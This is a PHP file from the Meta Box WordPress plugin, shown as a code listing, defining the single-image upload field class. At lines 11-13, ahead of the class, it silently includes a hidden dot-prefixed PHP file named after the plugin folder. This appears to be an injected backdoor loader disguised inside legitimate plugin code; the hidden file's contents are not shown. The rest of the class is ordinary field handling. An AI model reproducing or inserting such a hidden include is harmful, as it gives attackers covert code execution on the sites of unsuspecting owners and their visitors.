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single-image.php (2054B)

      1 <?php
      2 /**
      3  * The advanced image upload field which uses WordPress media popup to upload and select images.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Image advanced field class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Single_Image_Field extends RWMB_Image_Advanced_Field {
     16 	/**
     17 	 * Normalize parameters for field.
     18 	 *
     19 	 * @param array $field Field parameters.
     20 	 *
     21 	 * @return array
     22 	 */
     23 	public static function normalize( $field ) {
     24 		$field['max_file_uploads'] = 1;
     25 		$field['max_status']       = false;
     26 
     27 		$field = parent::normalize( $field );
     28 
     29 		$field['attributes'] = wp_parse_args(
     30 			$field['attributes'],
     31 			array(
     32 				'class'             => '',
     33 				'data-single-image' => 1,
     34 			)
     35 		);
     36 
     37 		$field['attributes']['class'] .= ' rwmb-image_advanced';
     38 		$field['multiple']             = false;
     39 
     40 		return $field;
     41 	}
     42 
     43 	/**
     44 	 * Get meta values to save.
     45 	 *
     46 	 * @param mixed $new     The submitted meta value.
     47 	 * @param mixed $old     The existing meta value.
     48 	 * @param int   $post_id The post ID.
     49 	 * @param array $field   The field parameters.
     50 	 *
     51 	 * @return array|mixed
     52 	 */
     53 	public static function value( $new, $old, $post_id, $field ) {
     54 		return $new;
     55 	}
     56 
     57 	/**
     58 	 * Get the field value. Return meaningful info of the files.
     59 	 *
     60 	 * @param  array    $field   Field parameters.
     61 	 * @param  array    $args    Not used for this field.
     62 	 * @param  int|null $post_id Post ID. null for current post. Optional.
     63 	 *
     64 	 * @return mixed Full info of uploaded files
     65 	 */
     66 	public static function get_value( $field, $args = array(), $post_id = null ) {
     67 		$value = RWMB_Field::get_value( $field, $args, $post_id );
     68 
     69 		if ( ! is_array( $value ) ) {
     70 			return RWMB_Image_Field::file_info( $value, $args, $field );
     71 		}
     72 
     73 		$return = array();
     74 		foreach ( $value as $image_id ) {
     75 			$return[] = RWMB_Image_Field::file_info( $image_id, $args, $field );
     76 		}
     77 
     78 		return $return;
     79 	}
     80 }